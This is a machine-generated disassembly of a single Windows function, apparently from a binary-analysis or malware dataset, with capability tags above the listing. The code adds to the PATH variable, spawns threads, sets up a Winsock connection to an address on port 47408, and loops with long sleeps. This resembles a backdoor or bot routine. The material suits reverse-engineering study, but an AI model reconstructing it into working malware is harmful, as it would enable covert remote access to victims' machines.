Function at 0x401c20
Capabilities:
Create thread
Initialize winsock library
Query environment variable
Set environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1ccc
call fcn.0040c650
mov eax, dword [0x41304c]
xor eax, esp
mov dword [esp + 0x1cc8], eax
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
lea ecx, [esp + 0xe0]
push ecx
mov dword [0x4134f8], eax
call dword [sym.imp.KERNEL32.dll_GetDynamicTimeZoneInformation]
push 0x1f0
lea edx, [esp + 0x4f0]
push 0
push edx
mov dword [esp + 0x4f4], 0
call sub.MSVCR90.dll_memset
add esp, 0xc
push 1
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
test eax, eax
je 0x401c8a
mov byte [eax], 0
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x64
call ebx
push 1
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
test eax, eax
je 0x401ca5
mov byte [eax], 6
push 0x64
call ebx
push 1
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
test eax, eax
je 0x401cba
mov byte [eax], 0
push 0x64
call ebx
push 0x76c
call ebx
lea eax, [esp + 0x18c]
mov esi, eax
mov edi, edi
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x401cd0
lea edi, [esp + 0x4e8]
sub eax, esi
add edi, 0xfffffffe
jmp 0x401cf0
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x401cf0
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
xor eax, eax
push 0x1ac
push eax
lea ecx, [esp + 0x6ea]
push ecx
mov word [esp + 0x6ec], ax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0
push 0x1ae
lea edx, [esp + 0x6e8]
push edx
push 0x400
push esi
push 0
push 0x1200
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
call fcn.00402730
push 0x170c
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x40a220
push 0
push 0
call esi
push 0x1a
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x30], esp
push str._._._.
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
call fcn.004082f0
push 1
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 0x24
test eax, eax
je 0x401da3
mov byte [eax], 6
push 0x64
call ebx
push 1
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
test eax, eax
je 0x401db8
mov byte [eax], 0
push 0x64
call ebx
push 1
call sub.MSVCR90.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
test eax, eax
je 0x401dcd
mov byte [eax], 6
push 0x64
call ebx
call fcn.00402730
push 0
push 0
push 0
push 0x40a220
push 0
push 0
call esi
push 0x143d
lea eax, [esp + 0x895]
push 0
push eax
mov byte [esp + 0x89c], 0
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0x143e
call dword [sym.imp.MSVCR90.dll_malloc]
add esp, 4
push 0x143e
mov edi, eax
push edi
push str.PATH
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x401f40
mov ecx, 0x143e
lea eax, [esp + 0x890]
jmp 0x401e40
cmp byte [eax], 0
je 0x401e4d
inc eax
sub ecx, 1
jne 0x401e40
jmp 0x401e70
test ecx, ecx
je 0x401e70
mov eax, 0x143e
sub eax, ecx
mov edx, 0x143e
sub edx, eax
lea ecx, [esp + eax + 0x890]
mov eax, str.Path
call fcn.00401060
mov ecx, 0x143e
lea eax, [esp + 0x890]
lea esp, [esp]
cmp byte [eax], 0
je 0x401e8d
inc eax
sub ecx, 1
jne 0x401e80
jmp 0x401eb0
test ecx, ecx
je 0x401eb0
mov eax, 0x143e
sub eax, ecx
mov edx, 0x143e
sub edx, eax
lea ecx, [esp + eax + 0x890]
mov eax, 0x40f7f4
call fcn.00401060
mov ecx, 0x143e
lea eax, [esp + 0x890]
lea esp, [esp]
cmp byte [eax], 0
je 0x401ecd
inc eax
sub ecx, 1
jne 0x401ec0
jmp 0x401ef0
test ecx, ecx
je 0x401ef0
mov eax, 0x143e
sub eax, ecx
mov edx, 0x143e
sub edx, eax
lea ecx, [esp + eax + 0x890]
mov eax, 0x40f808
call fcn.00401060
mov ecx, 0x143e
lea eax, [esp + 0x890]
lea esp, [esp]
cmp byte [eax], 0
je 0x401f0d
inc eax
sub ecx, 1
jne 0x401f00
jmp 0x401f2d
test ecx, ecx
je 0x401f2d
mov eax, 0x143e
sub eax, ecx
mov edx, 0x143e
sub edx, eax
lea ecx, [esp + eax + 0x890]
mov eax, edi
call fcn.00401060
lea ecx, [esp + 0x890]
push ecx
push str.PATH
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0
push 0
push 0
push 0x40a1c0
push 0
push 0
call esi
call fcn.00402730
mov eax, 0x415a38
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401f60
sub eax, edx
jne 0x401fa0
jmp 0x401f70
call fcn.00406cc0
push 0x3138
call ebx
push 0
push 0
push 0
push 0x40a220
push 0
push 0
call esi
mov eax, 0x415a38
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401f95
sub eax, edx
je 0x401f70
push 0x415a38
lea ecx, [esp + 0x18]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
push 0
push 0
push 0
push 0x40a220
push 0
push 0
call esi
lea edx, [esp + 0x290]
push edx
push 0x102
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x401fdf
push 0
call dword [sym.imp.MSVCR90.dll_exit]
push 0x1a
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x30], esp
push str.
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
call fcn.004082f0
mov eax, dword [esp + 0x38]
add esp, 0x20
cmp dword [esp + 0x2c], 0x10
jae 0x40200c
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
push 0xb930
mov dword [0x415514], eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [0x415512], ax
mov eax, 2
mov word [0x415510], ax
call fcn.00402260
call fcn.00402730
call fcn.00402730
call fcn.00402730
call fcn.00408f60
lea ecx, [esp + 0x30]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
push 0xc4
lea edx, [esp + 0x428]
push 0
push edx
mov dword [esp + 0x42c], 0
call sub.MSVCR90.dll_memset
lea eax, [esp + 0x40]
add esp, 0xc
mov edx, eax
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402080
lea edi, [esp + 0x420]
sub eax, edx
add edi, 0xfffffffe
jmp 0x4020a0
mov cx, word [edi + 2]
add edi, 2
test cx, cx
jne 0x4020a0
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esp, [esp]
cmp byte [0x415624], 0
jne 0x402157
call fcn.00406db0
call fcn.00409990
call fcn.00402180
call fcn.00406e90
test al, al
je 0x402157
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
xor eax, eax
push 0x1b1
push eax
lea ecx, [esp + 0x4f2]
push ecx
mov word [esp + 0x4f4], ax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0
push 0x1b3
lea edx, [esp + 0x4f0]
push edx
push 0x400
push esi
push 0
push 0x1200
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
call fcn.00408f60
push 0x609
call ebx
push 0
push 0
push 0
push 0x406bf0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xb9f
call ebx
push 0x3e8
call ebx
call fcn.00409990
call fcn.00406db0
push 0x80f8
call ebx
jmp 0x4020c0